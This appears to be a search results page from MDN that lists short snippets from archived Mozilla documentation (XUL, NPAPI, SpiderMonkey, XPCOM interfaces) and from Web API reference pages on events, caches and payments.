... cd $home # obtain gcc 4.5.3 (see http://gcc.gnu.org/mirrors.html for alternate mirrors) wget http://www.netgull.com/gcc/releases/gcc-4.5.3/gcc-4.5.3.tar.bz2 tar -jxvf gcc-4.5.3.tar.bz2 # apply plugin_finish_decl patch wget https://bug559964.bugzilla.mozilla.o....cgi?id=457606 -o finish_decl.diff cd gcc-4.5.3 patch -p0 < ../finish_decl.diff # build gcc cd ..
...And 4 more matches
Twitter - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...(it's easy!) methods each method in twitter's api maps to a method here.
...for search, jetpack.lib.twitter.search().
...And 4 more matches
Message Summary Database - Archive of obsolete content
nsimsgdatabase is an abstraction on top of mdb, which is a set of db interfaces.
...mdb is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about.
... if we were to replace mork, we could do it at the mdb level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface.
...And 4 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
security tool manifest to support pnh-1 security tools provide a manifest over http(s) which defines the capabilities that the browser can make use of.
...this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the url of the tool manifest.
... for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
...And 4 more matches
Bundles - Archive of obsolete content
the bundle can hold additional resources currently limited to: application ini settings application icon script for the application chrome, not the web content installing a bundle when prism opens a webapp bundle it will unpack it into the webapps/{webapp-id} folder.
...when prism is launched with a "-webapp [bundle]" command line, the bundle must first be unpacked before the web application is launched.
... this can slow the overall launch time and the unpacking is redundant if the bundle has been launched previously.
...And 4 more matches
Table Layout Strategy - Archive of obsolete content
specs the table layout algorithm is based on two w3c recommendations: html 4.01 (chapter 11) and css2.1 (chapter 17).in css2 a distinction between fixed and auto layout of tables has been introduced.
... the auto-layout mechanism is implemented in basictablelayoutstrategy.cpp the fixed-layout in fixedtablelayoutstrategy.cpp.
...the functionality is distributed over a large number of subroutines as shown in the chart below.
...And 4 more matches
Tamarin - Archive of obsolete content
tamarin's jit-compiler, nanojit, is also used in tracemonkey ergo spidermonkey, which is mozilla’s javascript engine in firefox.
... documentation adobe actionscript virtual machine 2 (avm2) overview (pdf, 400k) the instructions, architecture, and file format supported by the avm2.
... tamarin acceptance testing instructions on how to validate changes to the tamarin source code.
...And 4 more matches
When To Use ifdefs - Archive of obsolete content
"ifdefs", or conditional instructions, are used to build different code what are ifdefs ifdefs are conditional directives to a text preprocessor which mark that certain blocks of code are used only in certain conditions.
... application-specific ifdefs finally, each application/project needs to build different pieces of code.
...this rule has many exceptions, some of which are listed here: the code in editor/ui/ is built by the suite, standalone composer, and thunderbird, but it is considered application-specific.
...And 4 more matches
addFile - Archive of obsolete content
this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable.
... typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll.typically, relative pathnames are relative to the main pathname specified in the initinstall method.
... this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.note that the registry pathname is not the location of the software on the machine; it is the location of information about the software inside the client version registry.
...And 4 more matches
Return Codes - Archive of obsolete content
return codes the methods described in this chapter can return any of the following return codes.
... no_matching_certificate -206 extracted file was not signed by the certificate used to sign the installation script cant_read_archive -207 xpi package cannot be read invalid_arguments -208 bad parameters to a function illegal_relative_path -209 illegal relative path user_cancelled -210 ...
... no_such_component -213 the specified component is not present in the client version registry.
...And 4 more matches
popupalign - Archive of obsolete content
« xul reference homepopupaligntype: one of the values belowpopupalign is an optional attribute for specifying which side of the popup content should be attached to the popupanchor.
... noneno aligntopleftalign to the top left cornertoprightalign to the top right cornerbottomleftalign to the bottom left cornerbottomrightalign to the bottom right cornersyntax<element popupalign="none | topleft | topright | bottomleft | bottomright"/> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright"/> notesthe popupalign attribute can be used to specify which corner of the popup content is tied to the originating point.
...the example below shows how to create the traditional buttons with attached left mouse menus that exist in the 4.x communicator product.
...And 4 more matches
Popup Guide - Archive of obsolete content
popup types xul provides a number of different types of elements which may be used to create popup menus or other types of popup widgets, which vary based on the manner in which they are attached to an element and the manner in which they are opened.
... a brief overview of each type is listed here; more details for each type can be found by following the corresponding links.
... menus a menu is used when you wish to have a series of commands that can be activated by the user, but don't want to use the extra space for a button for each command.
...And 4 more matches
SQLite Templates - Archive of obsolete content
« previousnext » templates may use a datasource that is retrieved from an sqlite database, such as those used by the mozstorage api.
...the action body, starting at the node with uri="?" is repeated for each result returned from the query.
...note also that the query statement has a where clause which restricts the rows to those with an age greater or equal to 30.
...And 4 more matches
Static Content - Archive of obsolete content
the template generates two results as before, one for each country, and appends a menuitem for each one.
...at this point, the menulist will have a menupopup as a child, and the menupopup will in turn have one menuitem child.
...remember that only the content at the uri attribute or below inside the action are copied for each result.
...And 4 more matches
Using Multiple Queries to Generate More Results - Archive of obsolete content
« previousnext » combining results together one interesting technique is to use several queries to combine two sets of unrelated data together.
...if a result from the second query wasn't also matched by the first query, it will have content created for it.
... recall that when the member resource for a query matches several rules, only the earliest query that matches will have content generated for it.
...And 4 more matches
Additional Install Features - Archive of obsolete content
for example, you may want to install a package only when certain conditions are met, such as having a particular library installed.
...it provides some functions which can be used to examine and modify files on disk.
...the text 'file:///' is a special string which means the root of the filesystem.
...And 4 more matches
Features of a Window - Archive of obsolete content
the flag 'chrome' is important to open the window as a chrome file.
... if you do not add the 'chrome' flag, the file will open up as the content in a browser window.
... for example: var mywin = window.open("chrome://findfile/content/findfile.xul", "findfile", "chrome"); specifying the width and height you should have noticed that whenever elements were added to a window, the window's width expanded to fit the new elements.
...And 4 more matches
More Button Features - Archive of obsolete content
the image is loaded from the url, which can be a relative or absolute url, and then the image is displayed on the button.
...you can change this position by using two other attributes.
...this is designed to allow the 'skin' (in this case, the appearance of the image) to be changed without changing the xul file.
...And 4 more matches
Open and Save Dialogs - Archive of obsolete content
it is most commonly used for the open and save menu commands, but you can use it any place in which the user needs to select a file.
... note that the file picker only works from chrome urls.
... the appearance of the dialog will be different for each type and will vary on each platform.
...And 4 more matches
Progress Meters - Archive of obsolete content
adding a progress meter a progress meter is a bar that indicates how much of a task has been completed.
...xul has a progressmeter element which can be used to create these.
...the progress meter will have an animation such as a spinning barber pole or a sliding box, depending on the platform and theme used.
...And 4 more matches
XULBrowserWindow - Archive of obsolete content
method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of url strings for which chrome is automatically hidden.
... methods hidechromeforlocation determines whether or not browser chrome should be hidden for the specified location.
... by default, chrome is hidden for about:addons and any other pages in the in content whitelist.
...And 4 more matches
caption - Archive of obsolete content
it may contain either a text label, using the label attribute, or child elements for a more complex caption.
... attributes accesskey, crop, image, label, tabindex properties accesskey, crop, image, label, tabindex examples <groupbox> <caption label="my groupbox"/> </groupbox> <groupbox flex="1"> <caption> <checkbox label="a checked groupbox"/> </caption> </groupbox> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
...And 4 more matches
listcell - Archive of obsolete content
by default it only contains text but iconic and checkbox listcells are also available.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...using it with an anchor tag (an <a> link) will have no effect.
...And 4 more matches
member - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used within a rule's conditions element to match elements that are containers or are contained within another element.
... both the container and child attributes may use variables.
... properties child, container examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties child type: ?
...And 4 more matches
scrollbox - Archive of obsolete content
examples the following shows the xul for a bunch of labels.
... <vbox> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll around the big content in the small view space.
... for the most part, the horizontal and vertical scrollbars will independently handle too-tall and too-wide cases, but each scroll bar takes up additional width and so the appearance of one scroll bar can trigger the other one if it's close to the edge anyway.
...And 4 more matches
tabbox - Archive of obsolete content
a row of tabs is displayed at the top of tabbox which may be used to switch between each page.
... the tabbox should contain two children, the first a tabs element which contains the tabs and the second a tabpanels element which contains the contents of the pages.
... handlectrltab type: boolean if set to true or omitted, the tabbox will switch to the next tab when the control and tab keys are pressed.
...And 4 more matches
treeitem - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a treeitem should be placed inside a treechildren element and should contain treerow elements.
...set the uri attribute to the variable name to bind to a content node during matching.
... attributes container, empty, label, open, uri examples (example needed) attributes container type: boolean set to true if the element is to act as a container which can have child elements.
...And 4 more matches
triple - Archive of obsolete content
it is used to check for an assertion within a graph.
... if such an assertion exists, the rule may match, assuming that all the conditions match.
... if the assertion does not exist, the rule will not match.
...And 4 more matches
where - Archive of obsolete content
ArchiveMozillaXULwhere
« xul reference home [ examples | attributes | properties | methods | related ] indicate a condition that must match for a template result to be used.
...otherwise, the default value is false, to indicate that the value should match with the same case.
...any of the values may match.
...And 4 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is recommended).
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi.
...And 4 more matches
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
if you want to edit scripts, you should get the quickstart pack (which includes istool, the script editor.
... myapp/ application.ini chrome/ default/ myapp.exe (copy xulrunner-stub.exe and rename) xulrunner/ please test your application before deploying it.
...the inno setup script wizard can't set chrome directory's deployment point, so you have to edit the iss file yourself.
...And 4 more matches
XULRunner FAQ - Archive of obsolete content
you can use xulrunner to make a browser (mybrowser example or firefox), but there is no such thing as "the xulrunner browser".
... not particularly; xulrunner is a internet technology runtime.
...in the future there will be a xulrunner developer kit which will contain various development tools.
...And 4 more matches
application/http-index-format specification - Archive of obsolete content
the application/http-index-format file format is an attempt to provide a generic, extensible file listing format that is principly machine readable.
...machine parsers should ignore this data.
...any illegal characters must be escaped via the url escaping syntax defined by rfc 1738.
...And 4 more matches
JS-Engine FAQ - Archive of obsolete content
check the jsval macros at the top of js/src/jsapi.h can an embedded spidermonkey js engine use domparser extension of mozilla?
... domparser is not part of js but part of mozilla browser which makes it available to script in the browser using xpconnect.
... newly created threads in js from mozilla_1_8_branch causes to hang in windows patch from bug 351602 should fix the problem.
...And 4 more matches
NPN_GetURL - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturl(npp instance, const char* url, const char* target); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...can be of any type, such as http, ftp, news, or mailto.
...for http urls, the browser resolves this method as the http server method get, which requests url objects.
...And 4 more matches
NPN_GetValue - Archive of obsolete content
values for npnvariable: npnvxdisplay =1: unix only: returns the current display npnvxtappcontext: unix only: returns the application's xtappcontext npnvnetscapewindow: ms windows and unix/x11 only: ms windows: gets the native window on which plug-in drawing occurs; returns hwnd unix/x11: gets the browser toplevel window in which the plug-in is displayed; returns window npnvjavascriptenabledbool: tells whether javascript is enabled; true=javascript enabled, false=not enabled npnvasdenabledbool: tells whether smartupdate (former name: asd) is enabled; true=smartupdate enabled, false=not enabled npnvisofflinebool:...
...the value parameter should point to a npbool, which will be set appropriately if the function returns nperr_no_error.
...the value parameter should point to an npbool, which will be set appropriately if the function returns nperr_no_error.
...And 4 more matches
NPN_Version - Archive of obsolete content
syntax #include <npapi.h> void npn_version(int* plugin_major, int* plugin_minor, int* netscape_major, int* netscape_minor); parameters the function has the following parameters: plugin_major pointer to a plug-in's major version number; changes with major code release number.
... plugin_minor pointer to a plug-in's minor version number; changes with point release number.
... netscape_major pointer to the browser's major version; changes with major code release number.
...And 4 more matches
NPP_NewStream - Archive of obsolete content
the browser must copy data in the stream to the local cache to satisfy random access requests made through npn_requestread.
...for more information about each of these values, see directions in this section.
... np_asfileonly: saves stream data to a file in the local cache.
...And 4 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own background theme themes are made up of a "header" graphic image file, which skins the default firefox ui background.
... creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... it will be anchored to the top-right corner of the browser window.
...And 4 more matches
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (previous versions worked only in firefox).
...that's because there's nothing telling those two applications what to do with the chrome provided by the extension.
... that's where the chrome manifest comes into play.
...And 4 more matches
ArrayBuffer.transfer() - Archive of obsolete content
this operation leaves oldbuffer in a detached state.
... syntax arraybuffer.transfer(oldbuffer [, newbytelength]); parameters oldbuffer an arraybuffer object from which to transfer.
... description the arraybuffer.transfer() method allows you to grow and detach arraybuffer objects.
...And 4 more matches
Generator comprehensions - Archive of obsolete content
the generator comprehension syntax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object.
... suppose we have an iterator it which iterates over a large sequence of integers.
...an array comprehension would create a full array in memory containing the doubled values: var doubles = [for (i in it) i * 2]; a generator comprehension on the other hand would create a new iterator which would create doubled values on demand as they were needed: var it2 = (for (i in it) i * 2); console.log(it2.next()); // the first value from it, doubled console.log(it2.next()); // the second value from it, doubled when a generator comprehension is used as the argument to a function, the parentheses used for the function call means that the outer parentheses can be omitted: var result = dosomething(for (i in it) i * 2); the significant difference between the two examples being that by using the generator compre...
...And 4 more matches
New in JavaScript - Archive of obsolete content
this chapter contains information about javascript's version history and implementation status for mozilla/spidermonkey-based javascript applications, such as firefox.
... ecmascript versions language resources learn more about the ecmascript standards on which the javascript language is based on.
... ecmascript next support implementation status for upcoming ecma-262 features as per the yearly (es2016/es2017/es2018/...) release schedule in mozilla-based engines and products.
...And 4 more matches
LiveConnect - Archive of obsolete content
older versions of gecko included special support for the java<->javascript bridge (such as the java and packages global objects), but as of mozilla 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) liveconnect functionality is provided solely by the oracle's java plugin.
... java in firefox extensions community view mozilla.dev.tech.java forums...
...the reimplementation also restores the ability to use try-catch exceptions within javascript, and is free of the increasing number of other bugs introduced by the decline of the original liveconnect (e.g., java.lang.string and arrays not working properly).
...And 4 more matches
Correctly Using Titles With External Stylesheets - Archive of obsolete content
this can lead to a stylesheet being ignored, which is typically not what an author intends to do.
... authors will be most familiar with persistent stylesheets, of which any number may be applied to a document at once.
... a persistent stylesheet is one which has no title attribute and a value of stylesheet supplied for the rel attribute.
...And 4 more matches
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
shortly before mozilla 0.9.4 was finished, a bug was introduced that affects the sizing of list item markers (such as the numbers in an ordered list).
...this is most obvious in ordered lists, where the number that precedes each list item may be obviously different than the content that follows it.
... in fact, the markers were set to be a uniform size that did not change to match the content of the list items, so in rare cases the marker might actually appear to be smaller.
...And 4 more matches
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
prefetching is when content is downloaded in the background, this is based on the assumption that the content will likely be requested, enabling the content to load instantly if and when the user requests it.
... the content is downloaded and cached for anticipated future use without the user making an explicit request for it.
... dns prefetching domain lookups can be slow, especially with network latency on mobile phones.
...And 4 more matches
nglayout.debug.disable_xul_cache
to improve performance, mozilla caches chrome xul documents the first time they load for faster loading later.
... the effect is that the source xml file is not read and re-parsed each time the chrome in question is displayed.
... the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascript in a document to disk for faster startup the next time the application runs.
...And 4 more matches
PR_DetachThread
syntax #include <pprthread.h> void pr_detachthread(void); parameters pr_detachthread has no parameters.
... description this function detaches the nspr thread from the currently executing native thread.
... the thread object and all related data attached to it are destroyed.
...And 4 more matches
JSCheckAccessOp
jscheckaccessop is the type for jsclass.checkaccess.
... (it is also the type of the callback set by js_setcheckobjectaccesscallback.) syntax typedef jsbool (* jscheckaccessop)(jscontext *cx, jsobject *obj, jsval id, jsaccessmode mode, jsval *vp); name type description cx jscontext * the js context in which the property access attempt is occurring.
... mode jsaccessmode the type of access being checked.
...And 4 more matches
JS_GetLatin1InternedStringChars
this article covers features introduced in spidermonkey 38 get the chars of an interned string.
... syntax const js::latin1char * js_getlatin1internedstringchars(const js::autocheckcannotgc &nogc, jsstring *str); const char16_t * js_gettwobyteinternedstringchars(const js::autocheckcannotgc &nogc, jsstring *str); name type description cx jscontext * a context.
... nogc js::autocheckcannotgc &amp; a reference to js::autocheckcannotgc.
...And 4 more matches
JS_GetLatin1StringCharsAndLength
this article covers features introduced in spidermonkey 38 get the chars and the length of a string.
... syntax const js::latin1char * js_getlatin1stringcharsandlength(jscontext *cx, const js::autocheckcannotgc &nogc, jsstring *str, size_t *length); const char16_t * js_gettwobytestringcharsandlength(jscontext *cx, const js::autocheckcannotgc &nogc, jsstring *str, size_t *length); name type description cx jscontext * a context.
... nogc js::autocheckcannotgc &amp; a reference to js::autocheckcannotgc.
...And 4 more matches
JS_SetCheckObjectAccessCallback
set the runtime-wide check-object-access callback.
...syntax jscheckaccessop js_setcheckobjectaccesscallback( jsruntime *rt, jscheckaccessop acb); name type description rt jsruntime * the runtime to configure.
... acb jscheckaccessop the new check-object-access callback.
...And 4 more matches
JS_StringHasLatin1Chars
this article covers features introduced in spidermonkey 38 determine if a string's characters are stored as latin1.
... syntax bool js_stringhaslatin1chars(jsstring *str); name type description str jsstring * string to examine.
... description js_stringhaslatin1chars returns true iff the string's characters are stored as latin1.
...And 4 more matches
GetChildAt
« nsiaccessible page summary this method returns nth accessible child using zero-based index.
... nsiaccessible getchildat( in long achildindex ); parameters achildindex[in] the index of the nth child.
... return value returns nth accessible child using zero-based index.
...And 4 more matches
nsICacheDeviceInfo
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about a cache device.
... inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description description string get a human readable description of the cache device.
... entrycount unsigned long get the number of stored cache entries.
...And 4 more matches
nsICacheVisitor
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about cache devices and entries.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitdevice(in string deviceid, in nsicachedeviceinfo deviceinfo); boolean visitentry(in string deviceid, in nsicacheentryinfo entryinfo); methods visitdevice() this method is called to provide information about a cache device.
... boolean visitdevice( in string deviceid, in nsicachedeviceinfo deviceinfo ); parameters deviceid specifies the device being visited.
...And 4 more matches
nsIUpdateCheckListener
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface describing an object that listens to the progress of an update check operation.
... this object is notified as the check continues, finishes and if it has an error.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void oncheckcomplete(in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); void onerror(in nsixmlhttprequest request, in nsiupdate update); void onprogress(in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize); methods oncheckcomplete() called when the update check is completed.
...And 4 more matches
nsIZipReaderCache
inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/zip-reader-cache;1.
... to create an instance, use: var zipreadercache = components.classes["@mozilla.org/libjar/zip-reader-cache;1"] .createinstance(components.interfaces.nsizipreadercache); method overview nsizipreader getinnerzip(in nsifile zipfile, in autf8string zipentry); nsizipreader getinnerzip(in nsifile zipfile, in string zipentry); obsolete since gecko 10 nsizipreader getzip(in nsifile zipfile); void init(in unsigned long cachesize); methods getinnerzip() returns a (possibly shared) cached nsizipreader for a zip inside another zip.
...getzip() returns a (possibly shared) cached nsizipreader for a zip file.
...And 4 more matches
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types.
... */ [scriptable, uuid(a83ca7e8-4591-4111-8fb8-fd76ac73c866)] interface nsmsgsearchattrib { const nsmsgsearchattribvalue custom = -2; /* a custom term, see nsimsgsearchcustomterm */ const nsmsgsearchattribvalue default = -1; const nsmsgsearchattribvalue subject = 0; /* mail and news */ const nsmsgsearchattribvalue sender = 1; const nsmsgsearchattribvalue body = 2; const nsmsgsearchattribvalue date = 3; const nsmsgsearchattribvalue priority = 4; /* mail only */ const nsmsgsearchattribvalue msgstatus = 5; const nsmsgsearchattribvalue to = 6; const nsmsgsearchattribvalue cc = 7; const nsmsgsearchattribvalue toorcc = 8;...
... const nsmsgsearchattribvalue alladdresses = 9; const nsmsgsearchattribvalue location = 10; /* result list only */ const nsmsgsearchattribvalue messagekey = 11; /* message result elems */ const nsmsgsearchattribvalue ageindays = 12; const nsmsgsearchattribvalue folderinfo = 13; /* for "view thread context" from result */ const nsmsgsearchattribvalue size = 14; const nsmsgsearchattribvalue anytext = 15; const nsmsgsearchattribvalue keywords = 16; // keywords are the internal representation of tags.
...And 4 more matches
Examine, modify, and watch variables - Firefox Developer Tools
if you need to use it, you can, for now, switch back to the old debugger by visiting about:config and setting the "devtools.debugger.new-debugger-frontend" preference to false.
... each object can be expanded, using a disclosure triangle, to show its properties.
...just click on the variable's current value and you'll be able to type there: watch an expression watch expressions are expressions that are evaluated each time execution pauses.
...And 4 more matches
AudioBuffer.getChannelData() - Web APIs
the getchanneldata() method of the audiobuffer interface returns a float32array containing the pcm data associated with the channel, defined by the channel parameter (with 0 representing the first channel).
... syntax var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var nowbuffering = myarraybuffer.getchanneldata(channel); parameters channel the channel property is an index representing the particular channel to get data for.
... an index value of 0 represents the first channel.
...And 4 more matches
AudioTrackList.onchange - Web APIs
the audiotracklist property onchange is an event handler which is called when the change event occurs, indicating that one or more of the audiotracks in the audiotracklist have been enabled or disabled.
... note: you can also add a handler for the change event using addeventlistener().
... syntax audiotracklist.onchange = eventhandler; value set onchange to a function that should be called whenever tracks are enabled or disabled on the media element.
...And 4 more matches
Cache.addAll() - Web APIs
WebAPICacheaddAll
the addall() method of the cache interface takes an array of urls, retrieves them, and adds the resulting response objects to the given cache.
... note: addall() will overwrite any key/value pairs previously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a previous cache entry stored by the same addall() method.
... syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string urls that you want to be fetched and added to the cache.
...And 4 more matches
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
the open() method of the cachestorage interface returns a promise that resolves to the cache object matching the cachename.
... you can access cachestorage through the global caches property.
... note: if the specified cache does not exist, a new cache is created with that cachename and a promise that resolves to this new cache object is returned.
...And 4 more matches
ChildNode.before() - Web APIs
WebAPIChildNodebefore
the childnode.before() method inserts a set of node or domstring objects in the children list of this childnode's parent, just before this childnode.
... syntax [throws, unscopable] void childnode.before((node or domstring)...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
...And 4 more matches
DOMTokenList.forEach() - Web APIs
the foreach() method of the domtokenlist interface calls the callback given in parameter once for each value pair in the list, in insertion order.
... syntax tokenlist.foreach(callback [, thisarg]); parameters callback function to execute for each element, eventually taking three arguments: currentvalue the current element being processed in the array.
... listobj the array that foreach() is being applied to.
...And 4 more matches
Cross-global fetch usage - Web APIs
this article explains an edge case that occurs with fetch (and potentially other apis exhibiting the same kind of resource retrieval behavior).
... when a cross-origin fetch involving a relative url is initiated from an <iframe>, the relative url used to be resolved against the current global location, rather than the iframe's location.
...to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base url you have to use the fetch function cross-global, e.g.
...And 4 more matches
GlobalEventHandlers.onchange - Web APIs
the onchange property of the globaleventhandlers mixin is an eventhandler for processing change events.
... change events fire when the user commits a value change to a form control.
... this may be done, for example, by clicking outside of the control or by using the tab key to switch to a different control.
...And 4 more matches
GlobalEventHandlers.ontouchcancel - Web APIs
the ontouchcancel property of the globaleventhandlers mixin is an eventhandler that processes touchcancel events.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var cancelhandler = someelement.ontouchcancel; return value cancelhandler the touchcancel event handler for element someelement.
...And 4 more matches
GlobalEventHandlers.ontouchend - Web APIs
a global event handler for the touchend event.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var endhandler = targetelement.ontouchend; return value endhandler the touchend event handler for element targetelement.
...And 4 more matches
GlobalEventHandlers.ontouchmove - Web APIs
a global event handler for the touchmove event.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var movehandler = someelement.ontouchmove; return value movehandler the touchmove event handler for element someelement.
...And 4 more matches
GlobalEventHandlers.ontouchstart - Web APIs
the ontouchstart property of the globaleventhandlers mixin is an eventhandler that processes touchstart events.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var starthandler = someelement.ontouchstart; return value starthandler the touchstart event handler for element someelement.
...And 4 more matches
HTMLElement: change event - Web APIs
the change event is fired for <input>, <select>, and <textarea> elements when an alteration to the element's value is committed by the user.
... unlike the input event, the change event is not necessarily fired for each alteration to an element's value.
... bubbles yes cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picker for <input type="date">, by selecting a file in the file picker for <input type="file">, etc.); when the element loses focus after its value was changed, but not commited (e.g., after editing the value of <textarea> or <input type="text">).
...And 4 more matches
HTMLSlotElement: slotchange event - Web APIs
the slotchange event is fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change.
... note: the slotchange event doesn't fire if the children of a slotted node change — only if you change (e.g.
... bubbles yes cancelable no interface event event handler property none in order to trigger a slotchange event, one has to set or remove the slot attribute.
...And 4 more matches
IDBVersionChangeEvent.newVersion - Web APIs
the newversion read-only property of the idbversionchangeevent interface returns the new version number of the database.
... syntax var newversion = idbversionchangeevent.newversion value a 64-bit integer.
...these events are fired via the custom idbversionchangeevent interface.
...And 4 more matches
Node.lastChild - Web APIs
WebAPINodelastChild
the node.lastchild read-only property returns the last child of the node.
... if its parent is an element, then the child is generally an element node, a text node, or a comment node.
... it returns null if there are no child elements.
...And 4 more matches
Node.replaceChild() - Web APIs
WebAPINodereplaceChild
the node.replacechild() method replaces a child node within the given (parent) node.
...childnode.replacewith() may be easier to read and use.
... syntax parentnode.replacechild(newchild, oldchild); parameters newchild the new node to replace oldchild.
...And 4 more matches
NonDocumentTypeChildNode - Web APIs
the nondocumenttypechildnode interface contains methods that are particular to node objects that can have a parent, but not suitable for documenttype.
... nondocumenttypechildnode is a raw interface and no object of this type can be created; it is implemented by element, and characterdata objects.
... nondocumenttypechildnode.previouselementsibling read only returns the element immediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node.
...And 4 more matches
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent() constructor creates a new paymentmethodchangeevent object providing details about a paymentmethodchange event.
... syntax paymentmethodchangeevent = new paymentmethodchangeevent(type, options); parameters type a domstring which must contain the string paymentmethodchange, the name of the only type of event which uses the paymentmethodchangeevent interface.
... options optional an optional paymentmethodchangeeventinit dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used.
...And 4 more matches
PaymentMethodChangeEvent.methodName - Web APIs
the read-only methodname property of the paymentmethodchangeevent interface is a string which uniquely identifies the payment handler currently selected by the user.
... the payment handler may be a payment technology, such as apple pay or android pay, and each payment handler may support multiple payment methods; changes to the payment method within the payment handler are described by the paymentmethodchangeevent.
... syntax var methodname = paymentmethodchangeevent.methodname; value a domstring which uniquely identifies the currently-selected payment handler.
...And 4 more matches
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent interface of the payment request api describes the paymentmethodchange event which is fired by some payment handlers when the user switches payment instruments (e.g., a user selects a "store" card to make a purchase while using apple pay).
... constructor paymentmethodchangeevent() creates and returns a new paymentmethodchangeevent object, optionally initialized with values taken from a given paymentmethodchangeeventinit dictionary.
... methoddetails read only secure context an object containing payment method-specific data useful when handling a payment method change.
...And 4 more matches
PaymentResponse.onpayerdetailchange - Web APIs
the paymentresponse object's onpayerdetailchange property is an event handler which is called to handle the payerdetailchange event, which is sent to the paymentresponse when the user makes changes to their personal information while filling out a payment request form.
... syntax paymentresponse.onpayerdetailchange = eventhandlerfunction; value an event handler function which is called to handle the payerdetailchange event when the user makes changes to their personal information while editing a payment request form.
... examples in the example below, onpayerdetailchange is used to set up a listener for the payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
...And 4 more matches
PublicKeyCredentialCreationOptions.challenge - Web APIs
